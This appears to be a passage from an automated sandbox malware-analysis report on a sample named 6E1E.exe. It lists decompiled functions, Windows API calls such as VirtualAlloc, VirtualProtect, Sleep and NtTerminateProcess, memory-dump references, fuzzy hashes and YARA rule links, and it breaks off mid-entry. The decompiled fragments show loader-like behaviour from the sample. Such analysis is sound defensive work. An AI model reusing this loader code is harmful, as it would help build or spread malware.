0x004066f3
0x004066f6
0x004066f6
0x004066fc
0x004066fe
0x00406701
0x00406709
0x0040671b
0x0040670b
0x0040670b
0x0040670e
0x00406711
0x00406714
0x00406717
0x00406717
0x0040671d
0x0040671f
0x00406722
0x0040672a
0x0040673c
0x0040672c
0x0040672c
0x0040672f
0x00406732
0x00406735
0x00406738
0x00406738
0x0040673f
0x00406745

APIs

Part of subcall function 00404FA4: memset.MSVCRT ref: 00404FB2

??2@YAPAXI@Z.MSVCRT ref: 004066B9
??2@YAPAXI@Z.MSVCRT ref: 004066E0
??2@YAPAXI@Z.MSVCRT ref: 00406701
??2@YAPAXI@Z.MSVCRT ref: 00406722

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@$memset
String ID:
API String ID: 1860491036-0
Opcode ID: e85a19cc904d935af36f35088f158f19d60a259a6de7382aef0aa8ca398aac1e
Instruction ID: f950f85206354bd8a0b3bb5dce35e971dba3beadb745d31d99e8bf3535aee89b
Opcode Fuzzy Hash: e85a19cc904d935af36f35088f158f19d60a259a6de7382aef0aa8ca398aac1e
Instruction Fuzzy Hash: F121D4B0A007008FD7219F2AC448956FBE8FF90314B2689BFD15ADB2B1D7B89441DF18

Uniqueness

Uniqueness Score: -1.00%

Function 004054DF, Relevance: 5.1, APIs: 4, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004054DF(signed int* __eax, void* __ecx, wchar_t* _a4) {
				int _v8;
				signed int _v12;
				void* __edi;
				int _t32;
				intOrPtr _t33;
				intOrPtr _t36;
				signed int _t48;
				signed int _t58;
				signed int _t59;
				void** _t62;
				void** _t63;
				signed int* _t66;

				_t66 = __eax;
				_t32 = wcslen(_a4);
				_t48 =  *(_t66 + 4);
				_t58 = _t48 + _t32;
				_v12 = _t58;
				_t59 = _t58 + 1;
				_v8 = _t32;
				_t33 =  *((intOrPtr*)(_t66 + 0x14));
				 *(_t66 + 4) = _t59;
				_t62 = _t66 + 0x10;
				if(_t59 != 0xffffffff) {
					E00404951(_t66, _t59, _t62, 2, _t33);
				} else {
					free( *_t62);
				}
				_t60 =  *(_t66 + 0x1c);
				_t36 =  *((intOrPtr*)(_t66 + 0x18));
				_t63 = _t66 + 0xc;
				if( *(_t66 + 0x1c) != 0xffffffff) {
					E00404951(_t66 + 8, _t60, _t63, 4, _t36);
				} else {
					free( *_t63);
				}
				memcpy( *(_t66 + 0x10) + _t48 * 2, _a4, _v8 + _v8);
				 *((short*)( *(_t66 + 0x10) + _v12 * 2)) =  *( *(_t66 + 0x10) + _v12 * 2) & 0x00000000;
				 *( *_t63 +  *(_t66 + 0x1c) * 4) = _t48;
				 *(_t66 + 0x1c) =  *(_t66 + 0x1c) + 1;
				_t30 =  *(_t66 + 0x1c) - 1; // -1
				return _t30;
			}

0x004054ea
0x004054ec
0x004054f1
0x004054f4
0x004054f7
0x004054fa
0x004054fe
0x00405501
0x00405505
0x00405508
0x0040550b
0x0040551b
0x0040550d
0x0040550f
0x0040550f
0x00405521
0x00405527
0x0040552b
0x0040552e
0x0040553f
0x00405530
0x00405532
0x00405532
0x00405556
0x00405561
0x0040556e
0x00405571
0x00405578
0x0040557e

APIs

wcslen.MSVCRT ref: 004054EC
free.MSVCRT(?,00000001,?,00000000,?,?,?,00405830,?,00000000,?,00000000), ref: 0040550F

Part of subcall function 00404951: malloc.MSVCRT ref: 0040496D
Part of subcall function 00404951: memcpy.MSVCRT ref: 00404985
Part of subcall function 00404951: free.MSVCRT(00000000,00000000,?,004055BF,00000002,?,00000000,?,004057E1,00000000,?,00000000), ref: 0040498E

free.MSVCRT(?,00000001,?,00000000,?,?,?,00405830,?,00000000,?,00000000), ref: 00405532
memcpy.MSVCRT ref: 00405556

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: free$memcpy$mallocwcslen
String ID:
API String ID: 726966127-0
Opcode ID: 5c7b7bb3817ea86daae365c80c5e036228049141d00745b32d160c1d254800f2
Instruction ID: a1978c74b5bce8e8bf6bff77aa8c6c4d26791a9d8288a70caf523018dd8727ee
Opcode Fuzzy Hash: 5c7b7bb3817ea86daae365c80c5e036228049141d00745b32d160c1d254800f2
Instruction Fuzzy Hash: 14216FB1500704EFC720DF68D881C9BB7F5EF483247208A6EF456A7691D735B9158B98

Uniqueness

Uniqueness Score: -1.00%

Function 00405ADF, Relevance: 5.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00405ADF() {
				void* _t25;
				signed int _t27;
				signed int _t29;
				signed int _t31;
				signed int _t33;
				signed int _t50;
				signed int _t52;
				signed int _t54;
				signed int _t56;
				intOrPtr _t60;

				_t60 =  *0x41c470;
				if(_t60 == 0) {
					_t50 = 2;
					 *0x41c470 = 0x8000;
					_t27 = 0x8000 * _t50;
					 *0x41c474 = 0x100;
					 *0x41c478 = 0x1000;
					_push( ~(0 | _t60 > 0x00000000) | _t27);
					L0040B26C();
					 *0x41c458 = _t27;
					_t52 = 4;
					_t29 =  *0x41c474 * _t52;
					_push( ~(0 | _t60 > 0x00000000) | _t29);
					L0040B26C();
					 *0x41c460 = _t29;
					_t54 = 4;
					_t31 =  *0x41c474 * _t54;
					_push( ~(0 | _t60 > 0x00000000) | _t31);
					L0040B26C();
					 *0x41c464 = _t31;
					_t56 = 2;
					_t33 =  *0x41c478 * _t56;
					_push( ~(0 | _t60 > 0x00000000) | _t33);
					L0040B26C();
					 *0x41c45c = _t33;
					return _t33;
				}
				return _t25;
			}

0x00405adf
0x00405ae6
0x00405af5
0x00405af6
0x00405afb
0x00405b00
0x00405b0a
0x00405b18
0x00405b19
0x00405b1e
0x00405b2c
0x00405b2d
0x00405b36
0x00405b37
0x00405b3c
0x00405b4a
0x00405b4b
0x00405b54
0x00405b55
0x00405b5a
0x00405b68
0x00405b69
0x00405b72
0x00405b73
0x00405b7b
0x00000000
0x00405b7b
0x00405b80

APIs

??2@YAPAXI@Z.MSVCRT ref: 00405B19
??2@YAPAXI@Z.MSVCRT ref: 00405B37
??2@YAPAXI@Z.MSVCRT ref: 00405B55
??2@YAPAXI@Z.MSVCRT ref: 00405B73

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: fe94db315f44a6ad13eaa6f5e90a6aac049872e3421695f41c948c22f86c7b92
Instruction ID: f2da1691ca32ceef4ebb7ffb039160a3052a1a0853e807cf512b268ff05fa3b0
Opcode Fuzzy Hash: fe94db315f44a6ad13eaa6f5e90a6aac049872e3421695f41c948c22f86c7b92
Instruction Fuzzy Hash: 850121B12C63005EE758DB38EDAB77A36A4E748754F00913EA146CE1F5EB7454408E4C

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 6E1E.exe PID: 6128 Parent PID: 3440 6E1E.exeCOMMON

Executed Functions

Function 0043C2B0, Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 202COMMON

Download Yara Rule

APIs

_puts.LIBCMTD ref: 0043C33A
__wrename.LIBCMTD ref: 0043C346
_labs.LIBCMTD ref: 0043C35D
_abort.LIBCMTD ref: 0043C365

Strings

";, xrefs: 0043C532
\H, xrefs: 0043C461
&, xrefs: 0043C5E9

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __wrename_abort_labs_puts
String ID: ";$&$\H
API String ID: 292434168-87063237
Opcode ID: af67581822671d2270b2c196c070466024ac75fe198b7c95e5e6522eb9214c0c
Instruction ID: 06d272ea84885d4165782999d4251079c00ef5987a77040a47c737416a675685
Opcode Fuzzy Hash: af67581822671d2270b2c196c070466024ac75fe198b7c95e5e6522eb9214c0c
Instruction Fuzzy Hash: 5881B1B0D40218DBDB249F61DD897AD77B0FB18349F1094AEE60976280C7782AC9DF5E

Uniqueness

Uniqueness Score: -1.00%

Function 00401915, Relevance: 3.1, APIs: 2, Instructions: 53
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00401915(void* __eflags, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __edi;
				intOrPtr _t8;
				void* _t11;
				intOrPtr _t13;
				intOrPtr* _t16;
				void* _t18;
				void* _t19;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr* _t22;

				_t24 = __eflags;
				_push(0x194d);
				_t8 =  *_t21;
				_t22 = _t21 + 4;
				E00401253(_t8, 0x62, _t20, __eflags);
				_t16 = _a4;
				Sleep(0x1388);
				_t11 = E00401493(_t19, _t24, _t16, _a8, _a12,  &_v8); // executed
				_t25 = _t11;
				if(_t11 != 0) {
					E00401569(_t19, _t25, __fp0, _t16, _t11, _v8, _a16); // executed
				}
				 *_t16(0xffffffff, 0); // executed
				_push(0x194d);
				_t13 =  *_t22;
				_t18 = 0x62;
				return E00401253(_t13, _t18, _t20, _t25);
			}

0x00401915
0x00401924
0x00401929
0x0040192c
0x00401948
0x0040194d
0x00401955
0x00401963
0x00401968
0x0040196a
0x00401974
0x00401974
0x0040197d
0x00401987
0x0040198c
0x004019a2
0x004019b3

APIs

Sleep.KERNELBASE(00001388), ref: 00401955
NtTerminateProcess.NTDLL(000000FF,00000000), ref: 0040197D

Memory Dump Source

Source File: 0000001B.00000002.556582711.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 099dff6a8b47e7fe4885d49024a4f47d2f41acee3e9435d795ba4fc460fb35a3
Instruction ID: 9cae78af175e11272ae8b90b88a5797a908d329cf9c4202fe054e397abf3680d
Opcode Fuzzy Hash: 099dff6a8b47e7fe4885d49024a4f47d2f41acee3e9435d795ba4fc460fb35a3
Instruction Fuzzy Hash: 290171B5608204FBDB00AAD49C62EBA3658AF41764F204037F653790F1D57D9A12E7AB

Uniqueness

Uniqueness Score: -1.00%

Function 0040199B, Relevance: 3.0, APIs: 2, Instructions: 49
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E0040199B(void* __eax, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t11;
				void* _t14;
				intOrPtr _t16;
				intOrPtr* _t19;
				void* _t22;
				void* _t23;
				void* _t29;
				intOrPtr* _t31;
				intOrPtr* _t32;

				_t35 = __eflags;
				_t24 = __edi;
				if(__eflags > 0) {
					_push(0x194d);
					_t11 =  *_t31;
					_t32 = _t31 + 4;
					E00401253(_t11, 0x62, __edi, __eflags);
					_t19 =  *((intOrPtr*)(_t29 + 8));
					Sleep(0x1388);
					_t14 = E00401493(_t23, _t35, _t19,  *((intOrPtr*)(_t29 + 0xc)),  *((intOrPtr*)(_t29 + 0x10)), _t29 - 4); // executed
					_t36 = _t14;
					if(_t14 != 0) {
						E00401569(_t23, _t36, __fp0, _t19, _t14,  *((intOrPtr*)(_t29 - 4)),  *((intOrPtr*)(_t29 + 0x14))); // executed
					}
					 *_t19(0xffffffff, 0); // executed
					_push(0x194d);
					_t16 =  *_t32;
				} else {
					asm("invalid");
				}
				_t22 = 0x62;
				return E00401253(_t16, _t22, _t24, _t36);
			}

0x0040199b
0x0040199b
0x0040199c
0x00401924
0x00401929
0x0040192c
0x00401948
0x0040194d
0x00401955
0x00401963
0x00401968
0x0040196a
0x00401974
0x00401974
0x0040197d
0x00401987
0x0040198c
0x0040199e
0x0040199e
0x0040199e
0x004019a2
0x004019b3

APIs

Sleep.KERNELBASE(00001388), ref: 00401955
NtTerminateProcess.NTDLL(000000FF,00000000), ref: 0040197D

Memory Dump Source

Source File: 0000001B.00000002.556582711.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: ddbf13ae58c3712050d1dd293fcab7450f3712c013f606edc40a067e0a00e59e
Instruction ID: 4a89add6957e9532169c10ce73e929fc861f160d3915196474d8a8d24bfad6b0
Opcode Fuzzy Hash: ddbf13ae58c3712050d1dd293fcab7450f3712c013f606edc40a067e0a00e59e
Instruction Fuzzy Hash: 37014FB6608204EBDB00AED49C62EBD3254AF51764F204037F653B91F1C67D8A12E75B

Uniqueness

Uniqueness Score: -1.00%

Function 00401921, Relevance: 3.0, APIs: 2, Instructions: 47
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401921(signed int __eax, void* __edx, void* __edi, void* __esi, void* __fp0) {
				intOrPtr _t10;
				void* _t13;
				intOrPtr _t15;
				intOrPtr* _t18;
				void* _t21;
				void* _t27;
				intOrPtr* _t29;
				intOrPtr* _t30;
				signed int _t33;

				_t23 = __edi;
				_t22 = __edx;
				_push(__edx);
				_t33 = __eax & 0x194d681a;
				_push(0x194d);
				_t10 =  *_t29;
				_t30 = _t29 + 4;
				E00401253(_t10, 0x62, __edi, _t33);
				_t18 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_t13 = E00401493(_t22, _t33, _t18,  *((intOrPtr*)(_t27 + 0xc)),  *((intOrPtr*)(_t27 + 0x10)), _t27 - 4); // executed
				_t34 = _t13;
				if(_t13 != 0) {
					E00401569(_t22, _t34, __fp0, _t18, _t13,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_push(0x194d);
				_t15 =  *_t30;
				_t21 = 0x62;
				return E00401253(_t15, _t21, _t23, _t34);
			}

0x00401921
0x00401921
0x00401921
0x00401922
0x00401924
0x00401929
0x0040192c
0x00401948
0x0040194d
0x00401955
0x00401963
0x00401968
0x0040196a
0x00401974
0x00401974
0x0040197d
0x00401987
0x0040198c
0x004019a2
0x004019b3

APIs

Sleep.KERNELBASE(00001388), ref: 00401955
NtTerminateProcess.NTDLL(000000FF,00000000), ref: 0040197D

Memory Dump Source

Source File: 0000001B.00000002.556582711.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 29d52baf40a7baa6c93bb609f09647ddc9935efa1fd0e42c695563234ded56f7
Instruction ID: 4241600ca719e298d23384214460eb3e43b14b0f63518ababf685df4b463c681
Opcode Fuzzy Hash: 29d52baf40a7baa6c93bb609f09647ddc9935efa1fd0e42c695563234ded56f7
Instruction Fuzzy Hash: C7014FB6608204EBDB00AED48C61EA937689F51754F244177F653B90F1C63D8A12E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401931, Relevance: 3.0, APIs: 2, Instructions: 47
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00401931(void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t8;
				void* _t11;
				intOrPtr _t13;
				intOrPtr* _t16;
				void* _t19;
				void* _t20;
				void* _t25;
				intOrPtr* _t27;
				intOrPtr* _t28;

				_t31 = __eflags;
				_t21 = __edi;
				_push(0xffffffb8);
				_push(0x194d);
				_t8 =  *_t27;
				_t28 = _t27 + 4;
				E00401253(_t8, 0x62, __edi, __eflags);
				_t16 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_t11 = E00401493(_t20, _t31, _t16,  *((intOrPtr*)(_t25 + 0xc)),  *((intOrPtr*)(_t25 + 0x10)), _t25 - 4); // executed
				_t32 = _t11;
				if(_t11 != 0) {
					E00401569(_t20, _t32, __fp0, _t16, _t11,  *((intOrPtr*)(_t25 - 4)),  *((intOrPtr*)(_t25 + 0x14))); // executed
				}
				 *_t16(0xffffffff, 0); // executed
				_push(0x194d);
				_t13 =  *_t28;
				_t19 = 0x62;
				return E00401253(_t13, _t19, _t21, _t32);
			}

0x00401931
0x00401931
0x00401931
0x00401924
0x00401929
0x0040192c
0x00401948
0x0040194d
0x00401955
0x00401963
0x00401968
0x0040196a
0x00401974
0x00401974
0x0040197d
0x00401987
0x0040198c
0x004019a2
0x004019b3

APIs

Sleep.KERNELBASE(00001388), ref: 00401955
NtTerminateProcess.NTDLL(000000FF,00000000), ref: 0040197D

Memory Dump Source

Source File: 0000001B.00000002.556582711.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 290d49b121409e3a0cc0d193eeaeb1b86e0553ed2989638274f96de6a98fd60c
Instruction ID: bebbd478cd730a8f72ad37019eb049644fa0a7b144af864f48702eee3110bb92
Opcode Fuzzy Hash: 290d49b121409e3a0cc0d193eeaeb1b86e0553ed2989638274f96de6a98fd60c
Instruction Fuzzy Hash: AD014FB5608204EBDB00AED48C61EB932549B51764F204137F653790F1C67D8912E75B

Uniqueness

Uniqueness Score: -1.00%

Function 00401938, Relevance: 3.0, APIs: 2, Instructions: 41
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00401938(void* __eax, void* __edi, void* __esi, void* __fp0) {
				void* _t13;
				intOrPtr _t15;
				intOrPtr* _t18;
				void* _t21;
				void* _t22;
				void* _t27;
				intOrPtr* _t29;
				intOrPtr _t32;

				_t23 = __edi;
				asm("sahf");
				_t1 = __eax - 0x6a;
				 *_t1 =  *((intOrPtr*)(__eax - 0x6a)) + __eax;
				_t32 =  *_t1;
				E00401253(__eax, 0x62, __edi, _t32);
				_t18 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_t13 = E00401493(_t22, _t32, _t18,  *((intOrPtr*)(_t27 + 0xc)),  *((intOrPtr*)(_t27 + 0x10)), _t27 - 4); // executed
				_t33 = _t13;
				if(_t13 != 0) {
					E00401569(_t22, _t33, __fp0, _t18, _t13,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_push(0x194d);
				_t15 =  *_t29;
				_t21 = 0x62;
				return E00401253(_t15, _t21, _t23, _t33);
			}

0x00401938
0x00401938
0x00401939
0x00401939
0x00401939
0x00401948
0x0040194d
0x00401955
0x00401963
0x00401968
0x0040196a
0x00401974
0x00401974
0x0040197d
0x00401987
0x0040198c
0x004019a2
0x004019b3

APIs

Sleep.KERNELBASE(00001388), ref: 00401955
NtTerminateProcess.NTDLL(000000FF,00000000), ref: 0040197D

Memory Dump Source

Source File: 0000001B.00000002.556582711.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: f1dfc82b2edf1998ce6fad828befbe7efb67e09aa529f2b59ac16e092b7cd58e
Instruction ID: 904472b47aca40ab56d2e87b1b4c82bc9686e4ff5f111b9f5b0aaa98af47cc4e
Opcode Fuzzy Hash: f1dfc82b2edf1998ce6fad828befbe7efb67e09aa529f2b59ac16e092b7cd58e
Instruction Fuzzy Hash: 7BF044B5604204EBDB00AFE49C91EAD3358AF45754F204177F616B90E1C67D8912E76B

Uniqueness

Uniqueness Score: -1.00%

Function 02DC003C, Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 02DC024D

Strings

kernel32.dll, xrefs: 02DC008F, 02DC0095
cess, xrefs: 02DC018D

Memory Dump Source

Source File: 0000001B.00000002.557927601.0000000002DC0000.00000040.00000001.sdmp, Offset: 02DC0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 20738a7c7839f0dfbf01a62b388bd88474f535be5eced1f19caf83061e15a7e1
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 9C525974A01229DFDB64CF58C984BA8BBB1BF09305F1480E9E54DAB351DB30AE95CF14

Uniqueness

Uniqueness Score: -1.00%

Function 00422617, Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

__CrtCheckMemory.LIBCMTD ref: 0042263A
__heap_alloc_base.LIBCMTD ref: 004227C7
_memset.LIBCMT ref: 00422915
_memset.LIBCMT ref: 00422932
_memset.LIBCMT ref: 0042294D

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID:
API String ID: 4254127243-0
Opcode ID: f55d6634ac6145e3cf2c79d1dea3026d1df3d34abd7030617ef40d918e1c83a1
Instruction ID: 209a11bd134299074e11385dc2e542dd24e4f5ffae74ef8a4911f11d0b923fd9
Opcode Fuzzy Hash: f55d6634ac6145e3cf2c79d1dea3026d1df3d34abd7030617ef40d918e1c83a1
Instruction Fuzzy Hash: 8AB1AE70B00218EFDB14CF55EA85BAA77B0FB48314F60916AE8056B391C7B9AD40CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0043B8A0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(02B32044,02B32154,00000040,0043C5F7), ref: 0043B9AF

Strings

@, xrefs: 0043B8D9
kernel32.dll, xrefs: 0043B8C9

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID: @$kernel32.dll
API String ID: 544645111-4076271160
Opcode ID: 2d04289facf12007ccdffd0a71a528e25fa4216bd0d253028dfd85d0b057e596
Instruction ID: 9aef6d50c1893adca0f058d6a0de7571f6ef4fb851f96073145be1d715b3c3c5
Opcode Fuzzy Hash: 2d04289facf12007ccdffd0a71a528e25fa4216bd0d253028dfd85d0b057e596
Instruction Fuzzy Hash: E321812C40E6C08ED306C77CBD9866A3FA16727304F0841ADDB91672B6C27B9578CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 0042256F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

Strings

Qa, xrefs: 00422569

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID:
String ID: Qa
API String ID: 0-3901847582
Opcode ID: 54e606425bf2c52ce40dc11f730a501dae683f7e7ee7d8b5515a44b5cf1c9960
Instruction ID: ecdc5045f7e8b22a3c1406e0452a66379f3d5fbc4d06bf5acb05ab622d0b8505
Opcode Fuzzy Hash: 54e606425bf2c52ce40dc11f730a501dae683f7e7ee7d8b5515a44b5cf1c9960
Instruction Fuzzy Hash: 280108B160011AFBDB14CF54E654BAB73B4AB48304F50C15AF80587244D7BCDA91CF99

Uniqueness

Uniqueness Score: -1.00%

Function 02DC0DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02DC0223,?,?), ref: 02DC0E02
SetErrorMode.KERNELBASE(00000000,?,?,02DC0223,?,?), ref: 02DC0E07

Memory Dump Source

Source File: 0000001B.00000002.557927601.0000000002DC0000.00000040.00000001.sdmp, Offset: 02DC0000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 7473c7e03e318ac9ccc83d1111a2c7b1f1e1f7223bd09c568ad9760c2fb1f15e
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: CFD0127114512CB7D7002A94DC09BCD7B1C9F05B67F108011FB0DD9181C770994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0041C870, Relevance: 3.0, APIs: 2, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 0041C875
___tmainCRTStartup.LIBCMTD ref: 0041C87A

Part of subcall function 0041C890: _check_managed_app.LIBCMTD ref: 0041C8ED
Part of subcall function 0041C890: __heap_init.LIBCMTD ref: 0041C8F5
Part of subcall function 0041C890: _fast_error_exit.LIBCMTD ref: 0041C900
Part of subcall function 0041C890: __mtinit.LIBCMTD ref: 0041C908
Part of subcall function 0041C890: _fast_error_exit.LIBCMTD ref: 0041C913
Part of subcall function 0041C890: __RTC_Initialize.LIBCMTD ref: 0041C925
Part of subcall function 0041C890: __ioinit.LIBCMTD ref: 0041C931
Part of subcall function 0041C890: ___crtGetEnvironmentStringsW.LIBCMTD ref: 0041C94F
Part of subcall function 0041C890: ___wsetargv.LIBCMTD ref: 0041C959
Part of subcall function 0041C890: __wsetenvp.LIBCMTD ref: 0041C96C
Part of subcall function 0041C890: __cinit.LIBCMTD ref: 0041C981
Part of subcall function 0041C890: __wwincmdln.LIBCMTD ref: 0041C99E

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStartupStrings___crt___security_init_cookie___tmain___wsetargv__cinit__heap_init__ioinit__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3887909383-0
Opcode ID: 2c2b78fda9f7bf98e0a9c9869648c30fc7c8fd208615a193c28a8f35ee656e63
Instruction ID: ff29a9b4e7163cebefac6e67853bb7dfdf80d12cf883486909837451df9ced42
Opcode Fuzzy Hash: 2c2b78fda9f7bf98e0a9c9869648c30fc7c8fd208615a193c28a8f35ee656e63
Instruction Fuzzy Hash: B3A0223208030C02000033E33883E8A330C08C032C3C000ABB00C028030C2CA88200AE

Uniqueness

Uniqueness Score: -1.00%

Function 02DEDC49, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 02DEDC91

Memory Dump Source

Source File: 0000001B.00000002.558154359.0000000002DE9000.00000040.00000001.sdmp, Offset: 02DE9000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 20edf128b9f2f2b6986efb81ce3d3762a46406306174e5f37be3deb8283781cf
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 4BF062352007146FDB203BF5AC8CB6A76EDAF4D664F500528E657922C0DFB0EC458A61

Uniqueness

Uniqueness Score: -1.00%

Function 0042299C, Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004229FA

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 6c9a9cebdb7f04b3e1f18d0571a1b522f97abfb0a8d2ab69be2625cd2b2ccaa6
Instruction ID: 01cd4e95fff98e7e09b530589c2aee091bfbc093b7bd3c56748713f451d20dda
Opcode Fuzzy Hash: 6c9a9cebdb7f04b3e1f18d0571a1b522f97abfb0a8d2ab69be2625cd2b2ccaa6
Instruction Fuzzy Hash: 58012CB1A00108FBCB04DF98D981A9E73B5AB88314F50C159F9198B250D774EE518B94

Uniqueness

Uniqueness Score: -1.00%

Function 00424670, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,?,004268FE), ref: 00424677

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 74ebe90980ff84525567f3e1a00b41b8661479b10cc4bfab1013d10dc32df34a
Instruction ID: 55517b2789579e741b97ca7c1e2775b33a46f6c1eefcf645646359622b33a5cc
Opcode Fuzzy Hash: 74ebe90980ff84525567f3e1a00b41b8661479b10cc4bfab1013d10dc32df34a
Instruction Fuzzy Hash: 72A01132088208A3C2002282A80AB02BA0CC3CAB22F000020F20C0A0A20AB2A80280AA

Uniqueness

Uniqueness Score: -1.00%

Function 02DED908, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02DED959

Memory Dump Source

